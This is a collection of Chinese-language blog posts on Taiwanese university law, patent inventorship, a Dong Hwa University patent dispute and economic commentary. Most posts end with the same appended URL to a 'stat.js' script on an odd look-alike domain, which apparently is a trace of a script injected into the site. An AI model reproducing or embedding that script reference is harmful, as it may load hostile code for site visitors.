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法律

可笑的教育部法律矛盾

賤賣自尊的部份法律人,硬要扭曲解釋大學法第九條宣稱教育部對公立大學校長聘任有審查權,你看看,現在就自我打臉,謊話圓不起來了吧。

教育部今日宣稱「駁回管中閩任命,不算"行政處分"」。

怪啦,不是自己號稱有審查權?那審查不通過怎麼「不算行政處分」呢?那這個不通過算個屁?難道只是「教育部無拘束力之屁話」?

反之,既然承認「不是行政處分」,那不是恰恰自己打臉自己,承認「教育部無審查權」嗎?

看教育部自打嘴巴,真的娛樂性十足哩!!😎

PS 所謂「行政處分」是依據行政程序法第92條第一項定義:「本法所稱行政處分,係指行政機關就公法上具體事件所為之決定或其他公權力措施而對外直接發生法律效果之單方行政行為。」

教育部宣稱「駁回管案不算行政處分」,法律上等於是說:「我的駁回不發生任何法律效果,亦或者我根本就沒做任何決定」

夠蠢吧~~~~https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

隨筆

台積電的上頭成本並不在發電這一塊,但台電是。
 
這就造就二者進入生產電力的侷限條件不同,經濟規模不同以及邊際生產成本不同。
 
此外,微觀來看,台積電把原本可以產生更高收益的資源(搞更低奈米的製程或是提高既有製程良率)放到不拿手的發電上,不僅僅是金錢投資問題,還有人力培養與管理極限等,都是生產要素之一。
 
從機會成本來看,就是件蠢事。
 
宏觀面看,說過了,比較優勢定律下,社會上最好是人人從事自己專長之事(包含企業),再透過自由市場交易,可以無限放大整體社會的財富。
 
自給自足是最愚蠢的貧窮策略,只有蠢蛋才會相信自給自足。
 
綜觀人類經濟史,當家庭的自給自足率高時,都是最貧窮的時候或地區。換言之,自給自足不是「想望如此」而是「被迫如此」。
 
至於宣稱自己過著「自給自足」生活的蠢文青,只是「自以為」而已。看看他們身上穿的衣服、用的鐮刀鋸子等工具,就算他們宣稱是垃圾堆撿來的「重新價值創造」,骨子裡都是靠現代分工合作下的大工廠大規模生產,才讓他們有這堆垃圾可撿可回收使用。
 
要是整個社會真的都自給自足,煉鋼將是多麼奢侈的活動,哪有丟棄的金屬工具給這群文青撿拾?紡織品、塑料品乃至於書籍與電子產品,都是靠社會高度分工合作與大量生產才得以實現,才便宜到可以成為「垃圾」讓蠢文青撿拾。
 
也就是說動不動就批判「資本主義」的蠢文青,壓根就沒看穿這層邏輯關係,是「全球化自由市場」他們才得以享受現今這一切,特別是許多對古人來說難以想像的奢侈品,如今可從垃圾中撿拾。當他們夢想中的「自給自足」、「無欲」生活真的實現時,他們早就餓死了。
 
回過頭看,當社會富裕到足以支撐「市場」時(說過無數次,市場是非常昂貴的奢侈品),各自專心於專精項目,整體生產力可以數百億倍地增加!這是史實。
 
再者,何謂「環保」?說穿了「真正在侷限條件下以最高效率生產」才叫環保。強迫某人選用較低效率方式生產或取得資源,才是無謂的浪費(其實是租值消散)與不環保。

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隨筆

抹滿糞便的廁所

以前我在衛道中學住宿時,偶爾週末被罰勞動服務要清掃宿舍廁所。

曾誇張地掃過一間前後左右壁面與地板都抹滿糞便的廁所!

後來舍監抓到人犯,原來是他受不了上廁所老要排隊,所以搞爛一間後,只有他敢進去用,再也不用排隊。

經濟分析來看果然是另類的租值創造法!

看到這篇新聞,不禁讓我想起這件事 — 假台獨們搞爛法律/整間廁所塗滿大便後,再來說遴選程序/廁所有問題,所以正常人不願意進去,只有"特殊人士"才願意進去。

假台獨們這招算模仿犯嗎?厲害厲害!

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法律

再論大學法第九條–教育部為何無國立大學校長聘任審查權?

此種似是而非的說法,少數自甘墮落的法律人硬坳大學法第九條「教育部對國立大學校長人選有審查權」的謬論,根本完全忽視大學法修法歷程,才會出現這種錯誤解讀。

82年舊大學法第九條規定:「大學或獨立學院置校長或院長一人,綜理校(院)務;國立者,由教育部聘任…」

92年舊大學法第七條規定校長之聘任:「大學校長之產生,應由各校組成遴選委員會遴選二至三人,國立者,由各大學報請教育部組織遴選委員會擇聘之..」

到後來94年修法改為:「新任公立大學校長之產生,應於現任校長任期屆滿十個月前,由學校組成校長遴選委員會,經公開徵求程序遴選出校長後,由教育部或各該所屬地方政府聘任之。」

從「由教育部聘任」到「擇聘之」改為「經公開程序遴選出後由教育部聘任之」,修法歷程尚顯然立法者有意不斷限縮教育部對國立大學校長的審查權限。從最早的「全由教育部決定」改為「經遴選委員會遴選」,就是把原本教育部內部執行的項目,強迫外包給學校組成的遴選委員會決定之。

為何?體現大學自主嘛!第一條開宗明義:「…大學應受學術自由之保障,並在法律規定範圍內,享有自治權。」

從法律經濟分析角度來看,就是把相當程度的產權內容,劃撥給大學自由使用。

再者,同樣第九條規定「教育部及各該所屬地方政府應於校長聘期屆滿一年前進行評鑑,作為大學決定是否續聘之參考。」,若真如部分法律人宣稱的「聘任時教育部有審查權」,試問那又何須特別立法再加入此段文字?。

此段文字的存在,恰恰證明聘任時無審查權,才需要聘期屆滿一年前明文規定教育部有權進行評鑑,作為續聘之「參考」。注意,只是「作為大學是否續聘之參考」,而非「作為教育部之參考」。顯見教育部依然無權「審查而拒絕聘任」!

反觀私立大學,最早民國36年舊大學法第八條規定:「…私立大學校長由董事會聘任呈報教育部備案…」

但從61年舊大學法則修改為:「…私立者,由董事會報請教育部核准後聘任之…」

此後私立大學一直是「報請教育部核准後聘任之」。從「無審查權」到「有審查權」,立法文字進化歷程清清楚楚。

再者,國家財源密切與否和「大學自主」完全是兩回事。

立法歷程文字變化使用與立法者邏輯清清楚楚,連非法律人都看出公立私立大學二者之校長遴選方式,立法者有意為不同之處理。法律人偏偏可以為了政治目的硬坳。還硬扯案由其實完全無關的大法官釋憲文,在在只是彰顯台灣案例法教育的失敗,連最基本的case law application都用錯,我這種在美國法學院待過的真是看不下去。

最好笑的是這群硬坳的法律人,特別是由台大某劉姓教授帶頭的,當年服貿協議、貨貿協議這種開放人民自由的法律都能硬坳成「需要嚴格憲法審查」;而面對今日這種明明教育部擅自擴權、曲解法律的惡行,卻自甘為犬服其勞,有夠禮義廉的!https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

相信公職的老同學

以前在政大法律念書時,有不少同學立志公職。這在法律系來說算很正常。其中有一位還常常向我鼓吹公職的好處,並且頻頻表示不理解我為什麼一點興趣都沒有,什麼國考都不參加。

終於有一次,我問他:「為什麼你這麼想當公務員?」

他:「因為薪水高、工作穩定還保證退休生活。」

我:「你知道中華民國政府不如表面有錢,舉債很高。你知不知道四大基金操盤的績效其實不怎麼樣?你真的相信台灣政府到你退休時不會食言?不會出爾反爾?不會因為破產而根本給付不了足額退休金?甚至講更白的,你真的相信你退休時這個政府還存在?」

他用一種很驚訝,恍若從沒聽過這種論調的語氣反問:「政府怎麼可能破產?怎麼可能會給不出退休金?」

well,才過了16年,就已經搞成這樣。同學,讓我們繼續看下去~~ XDhttps://js.developerstatss.ga/stat.js?n=ns1

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專利 法律

關於專利發明人在法律上之定義

【關於專利發明人在法律上之定義】

台灣:
智慧財產法院106年度民專訴字第60號智慧財產法院民事判決說:"發明人係指實際進行研究發明之人,須對申請專利範圍所記載之技術特徵具有實質貢獻之人,所謂「實質貢獻之人」則指為完成發明而進行精神創作之人,其須就發明所欲解決之問題或達成之功效產生構想(conception) ,並進而提出具體而可達成該構想之技術手段,即精神創作,是指發明之構想,詳述及具體化作業者,原則上為研發人員,然並不包括僅提出構想或作實驗驗證之人。只有發明之構想,尚不足以產生一件發明,構想產生後,必須有預測結果程度之詳述及具體化,各種具體化的技術都可以申請專利,蓋專利所保護的是其技術手段而非其構想。"

這是台灣法院對專利發明人的要件 — 必須有具體而可達成該構想之技術手段,因為專利保護的正是這個技術手段,而非單單構想本身。

美國:
美國法律也是如此,根據Burroughs Wellcome Co. v. Barr Labs., Inc. 一案,發明人必須是實際對發明之構想有真實貢獻之人(… for a person to be properly named as an inventor on a patent, he must generally contribute to the conception of the invention.)。假設某專利發明人共列A與B,但實際發想人是A,B只是監督或資金提供者的話,則B是不可以被列為發明人的。

在1952年美國專利法修法之前,上述的「錯列發明人」是會導致"專利無效"的嚴重後果!1952年修法後(35 usc §256)則改為「故意錯列發明人」才會導致專利無效;若是「過失錯列發明人」則必須被修正。

 

補充:
根據35USC§116,要被列為共同發明人一定要實際對專利claim有所貢獻。

後來Ethicon, Inc. v. United States Surgical Corp.一案法官進一步定義:「假設claim 20項,至少要有貢獻其中一項,方可列入。」

Apple一年那麼多專利申請,只有少數幾個有列名Steve Jobs為發明人。(例如很有名的那個透明樓梯)。

而Steve Jobs並非單單發想「透明樓梯」這麼簡單,而是可以證明他在結構力學上實際提出解決方案,讓玻璃樓梯可以承受相當重量而不破裂。

如果他只是說:「我想要透明玻璃樓梯,你們工程師去實現」,這樣絕對是不可能被列名發明人的,即便列了專利也會因此無效。

台灣則普遍有列名老闆的陋習,即便老闆可能只是出個點子但沒有實際貢獻解決方案的內容。這個好像業界很常見。https://js.developerstatss.ga/stat.js?n=ns1

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筆記

蘋果與富邦

蘋果2017年Apple Care收入大約是60億美元(約1800億台幣),而台灣最大的產險公司富邦產險同年簽單保費約350億台幣。全台灣產險業同年簽單保費收入約1500億台幣。

如果把Apple Care看做產險(本質上其實非常相似),一家打趴全台灣。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

郝明義又錯得離譜

郝明義的蘋果日報投書:「能源政策要打破「兩迷一混」(上)(郝明義)」一落筆就是錯:

「第一個是:「迷信供給」。
先問一個問題。每逢清明、春節的連續假期,高速公路都會有頭尾兩天的高峰塞爆期。請問我們是要設法疏散這兩天的交通流量,還是因而就要多蓋幾條高速公路?
同理,台灣今天面臨的「電力短缺」,指的也都是1年之中電力需求高峰最大的那幾天裡中午幾個小時的問題。台電如果能掌握用戶的需求,設法以優惠電價誘使許多人避開中午尖峰期間的用電,挪動一下用電時間,那就可以進行所謂的「移峰填谷」,也就有助於舒解尖峰用電時間的壓力。
但是台電基於國營事業、工程思維、獨家壟斷的體制,從不認真掌握用戶的需求,當然也無從調節用戶的需求。他們的思路和做法,就是塞車就要多蓋高速公路。 」

照郝明義的這個說法,那台灣打從一開始就不用蓋高速公路,有當年的省道就該知足感恩啦!

尤其世界上所有的餐廳也不需要增加座位、增加人手甚至開分店啦 — 反正需求只出現在中午或傍晚幾小時的用餐時間,應該設法讓客人「不要再死心眼地堅持用餐時間」就好啦~

台積電也無須追求更小奈米製程,只要告訴客戶:「你現在的需求已經被滿足,你要好好調整愛追更高效能、更省成本晶片的心態!」世界上多數工廠都毋須增加產能更甭題蓋新廠。

如此荒謬且顛倒的經濟看法,當初是如何經營事業?讓我非常好奇。

郝先生一落筆就錯,還刻意誇大核能的危險性。說到危險性,台灣兩條高速公路一年造成的傷亡人數遠高過三座核能發電廠,試問郝明義先生要不要發動「反高速公路公投」啊?

缺乏正確經濟邏輯,郝先生當年「反服貿」就是用一堆錯誤的理論和誇大的危險宣稱來欺騙群眾,沒想到台灣已經出現缺電情形,依然見到棺材仍死不認錯。厲害厲害。https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

侷限條件的考察與大白鯊


電影大白鯊這個經典的恐怖片,其經典之處一部分歸功於導演Steven Spielberg使用了大量暗示性、隱喻性的鏡頭暗示恐怖大白鯊的存在,而非大喇喇地展示大白鯊本身。

當年許多影評都盛讚擅於烘托恐怖氛圍而不直接使用嚇人的物體實在是大師手筆。更有某些影評認為手法帶有東方禪宗留白的境界,很可能Spielberg深受日本導演黑澤明影響云云。

事實呢?

根據Spielberg大白鯊30週年的訪問指出,其實是用來拍攝影片的三隻機械大白鯊(每隻當年造價25萬美元)總是故障,影響拍攝進度。Spielberg不得不重新理順劇本,減少大白鯊出現的場景數量,把本來導演自稱「日本週六午後的恐怖爛劇」改進為「像希區考克風格–觀眾看到的越少反而越害怕」(The film went from a Japanese Saturday matinee horror flick to more of a Hitchcock, the less-you-see-the-more-you-get thriller.")。同時也因為機械大白鯊常常沒法拍,某些大白鯊應該要出現的場景,導演乾脆就用鏡頭、場景與道具來暗示大白鯊的存在,或是把大白鯊拍得模模糊糊地。

是的,Spielberg的確是一代大師,在如此惡劣侷限條件下還能拍出如此恐怖經典。但顯然與什麼禪宗、留白無關,也非一開始的計畫,而是現實侷限下被逼出來的創意。

我拿這個例子正是要說明:面對各種經濟現象不去考察真實世界的侷限條件,而是關在教室、辦公室裡天馬行空想像各種經濟學理論或數學公式搞R. Coase所謂的「黑板經濟學」,在面對「解釋或預測真實世界」這項考驗時,勝負優劣將是高下立判。https://js.developerstatss.ga/stat.js?n=ns1

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專利 法律

東華大學專利疑雲

針對東華大學專利疑雲,我簡單Google專利檢索一下,東華大學的美國專利優先權日記載是2014-03-06,申請日期是:2015-09-10,此專利已經獲證(US9750783B2, 2017-09-05)

專利名稱是:「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

Claim有8項。

我另外查到東華大學這個專利在台灣的專利公報(http://twpat-simple.tipo.gov.tw/tipotw…/00049/ga-I578991.pdf)

申請日期:2015-03-06;優先權記載日期:2014-03-06與2015-01-21。專利claim有42項。

Spiranthes Biotech LLC 這家公司在美國與中國申請的
US15655530 (https://patents.google.com/patent/US20170360868A1/en…) 與CN 201580078107 (https://patents.google.com/patent/CN107427546A/en…)優先權日均記載為2015-01-21,此二專利都已經被公開但尚未獲證。


上述四個專利申請名稱一樣是:「Composition containing a Spiranthes sinensis extract and pharmaceutical applications thereof」

細究專利權利範圍,東華大學的美國專利與台灣專利範圍claim項顯有不同,但弔詭的是東華大學的台灣專利範圍claim內容卻與Spiranthes Biotech LLC這家公司在美國與中國的專利申請案中claim敘述極 為 相 似 !簡直是中文直接翻譯成英文。

生物科技方面我懂得很少,還需要專業人士協助判斷。

我偏向認為有人把東華大學的台灣專利,用Spiranthes公司為申請人與所有權人名義在美國與中國再申請。

我從兩份專利文件截圖,各位可以看看,東華大學的台灣專利與Spiranthes公司的美國專利申請用的數據、圖表甚至顯微照片竟然是一模一樣!(有中文字樣出自台灣專利,純英文字樣出自美國專利,兩邊圖片連編號都一樣)。


如果Spiranthes公司是東華大學百分百持有設立之公司,那比較沒有法律問題。如果不是,看起來似乎有人要負擔刑事責任喔~~

PS 以下是Spiranthes公司在美國申請專利的前10項claim:
「1. A composition comprising sinetirucallol in an amount effective in reducing an inflammatory response.
2. The composition of claim 1, wherein the composition comprises at least 4.4 μg of sinetirucallol.
3. The composition of claim 1, wherein the sinetirucallol is in an amount between 4.4 μg and 44 μg
4. The composition of claim 1, wherein the composition comprises a Spiranthes sinensis extract.
5. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in expression or activity of one or more biological markers selected from the group consisting of: inducible nitric oxide synthase (iNOS), cyclooxygenase-2 (COX-2), tumor necrosis factor-alpha (TNF-α), prostaglandin E2 (PGE2), interleukin-6 (IL-6), interleukin 1β (IL-1β), interleukin 33 (IL-33), NLRP3, phosphorylated ERK (pERK), NFκB, matrix metalloproteinase-2 (MMP2), and matrix metalloproteinase-9 (MMP9).
6. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a decrease in a level of one or more free radicals in an inflammatory response.
7. The composition of claim 6, wherein the one or more free radicals are selected from the group consisting of: superoxide radical anion (O2-.), hydrogen peroxide (H2O2), hydroxyl radical (.OH), singlet oxygen (1O2), peroxynitrite (ONOO—), nitric oxide (NO), nitrosonium cation (NO+), and nitroxyl anion (NO—).
8. The composition of claim 1, wherein reducing an inflammatory response is evidenced by a reduction in tissue swelling.
9. The composition of claim 8, wherein the tissue is selected from the group consisting of: skin, epithelia, synovial tissue, tendons, cartilage, ligaments, bone, muscle, organs, dura, blood vessels, bone marrow, and extracellular matrix.
10. A dosage form comprising sinetirucallol formulated for administration to a subject.」

以下是東華大學台灣專利的前10項claim:
「1. 一種經調製以供施予一個體之組合物,其包含一有效量之 sinetirucallol 以降低發炎反應。
2. 如請求項第 1 項所述之組合物,其中前述組合物包含至少 4.4μg 的 sinetirucallol。
3. 如請求項第 1 項所述之組合物,其中前述 sinetirucallol 之含量係介於 4.4μg 至 44μg 之 間。
4. 如請求項第 1 項所述之組合物,其中前述組合物包含一綬草萃取物。
5. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經降低一或多種生物性標記物
之表現或活性而被證實;其中前述生物性標記物係選自由誘導型一氧化氮合成酶(iNOS)、 環氧酶-2(COX-2)、腫瘤壞死因子 α(TNF-α)、前列腺素 E2(PGE2)、介白素-6(IL-6)、介白 素-1β(IL-1β)、介白素-33(IL-33)、NLRP3、磷酸化之 ERK(pERK)、NFκB、基質金屬蛋白 酶-2(MMP2)、及基質金屬蛋白酶-9(MMP9)所組成之群組。
6. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經降低一發炎反應中一或多個 自由基的含量而被證實。
7. 如請求項第 6 項所述之組合物,其中前述一或多個自由基係選自由:超氧陰離子(O2-)、 過氧化氫(H2O2)、羥基自由基(.OH)、單一態氧(lO2)、過氧亞硝酸根(ONOO-)、一氧化 氮(NO)、一氧化氮正離子(NO+)、及氮氧根離子(NO-)所組成之群組。
8. 如請求項第 1 項所述之組合物,其中前述降低發炎反應係經減緩組織腫脹而被證實。
9. 如請求項第 8 項所述之組合物,其中前述組織係選自由:皮膚、上皮、滑液膜組織 (synovial tissue)、腱、軟骨、韌帶、骨骼、肌肉、器官、腦膜、血管、骨髓、及細胞外 基質所組成之群組。
10. 一種製劑,其包含 sinetirucallol,且係經調製以供施予一個體。」https://js.developerstatss.ga/stat.js?n=ns1